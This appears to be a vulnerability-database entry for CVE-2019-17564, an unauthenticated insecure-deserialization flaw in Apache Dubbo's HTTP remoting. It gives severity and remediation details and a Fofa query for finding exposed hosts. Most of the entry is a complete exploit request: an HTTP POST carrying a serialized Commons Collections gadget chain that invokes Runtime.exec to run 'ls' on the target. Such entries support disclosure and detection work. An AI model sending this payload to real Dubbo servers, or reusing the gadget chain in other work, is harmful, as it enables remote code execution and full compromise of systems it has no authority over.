| Title | Apache Dubbo 2.5.x-2.7.4 - Insecure Deserialization |
|---|---|
| Author | Khalid6468 |
| Severity | Critical |
| Impact | Unauthenticated attackers can exploit unsafe deserialization to execute arbitrary code on Dubbo Provider instances with HTTP remoting enabled, leading to complete server compromise. |
| Remediation | Upgrade to Apache Dubbo version 2.7.5 or later, or disable HTTP remoting if not required. |
| CVSS Score | 9.8 |
| EPSS Score | 0.94048 |
| CVE ID | CVE-2019-17564 |
| CWE ID | CWE-502 |
| Fofa Query | app="apache-dubbo" |
| Tags | cve cve2019 dubbo apache deserialization rce vkev vuln |
Unsafe deserialization occurs within a Dubbo application which has HTTP remoting enabled. An attacker may submit a POST request with a Java object in it to completely compromise a Provider instance of Apache Dubbo, if this instance enables HTTP. This issue affected Apache Dubbo 2.7.0 to 2.7.4, 2.6.0 to 2.6.7, and all 2.5.x versions.
POST /com.example.TestService HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.6.20) Gecko/ Firefox/3.8
Connection: close
Content-Length: 1277
Accept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
�� sr java.util.HashSet�D�����4 xpw ?@ sr 4org.apache.commons.collections.keyvalue.TiedMapEntry��қ9�� L keyt Ljava/lang/Object;L mapt Ljava/util/Map;xpt foosr *org.apache.commons.collections.map.LazyMapn唂�y� L factoryt ,Lorg/apache/commons/collections/Transformer;xpsr :org.apache.commons.collections.functors.ChainedTransformer0Ǘ�(z� [
iTransformerst -[Lorg/apache/commons/collections/Transformer;xpur -[Lorg.apache.commons.collections.Transformer;�V*��4� xp sr ;org.apache.commons.collections.functors.ConstantTransformerXv�A�� L iConstantq ~ xpvr java.lang.Runtime xpsr :org.apache.commons.collections.functors.InvokerTransformer���k{|�8 [ iArgst [Ljava/lang/Object;L iMethodNamet Ljava/lang/String;[ iParamTypest [Ljava/lang/Class;xpur [Ljava.lang.Object;��X�s)l xp t
getRuntimeur [Ljava.lang.Class;���Z� xp t getMethoduq ~ vr java.lang.String��8z;�B xpvq ~ sq ~ uq ~ puq ~ t invokeuq ~ vr java.lang.Object xpvq ~ sq ~ ur [Ljava.lang.String;��V��{G xp t lst execuq ~ q ~ sq ~ sr java.lang.Integer⠤���8 I valuexr java.lang.Number������ xp sr java.util.HashMap���`� F
loadFactorI thresholdxp?@ w xxx
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2019/CVE-2019-17564.yaml
🦈 Packet Capture: ⬇️ Download cve-2019-17564.pcap
N/AN/A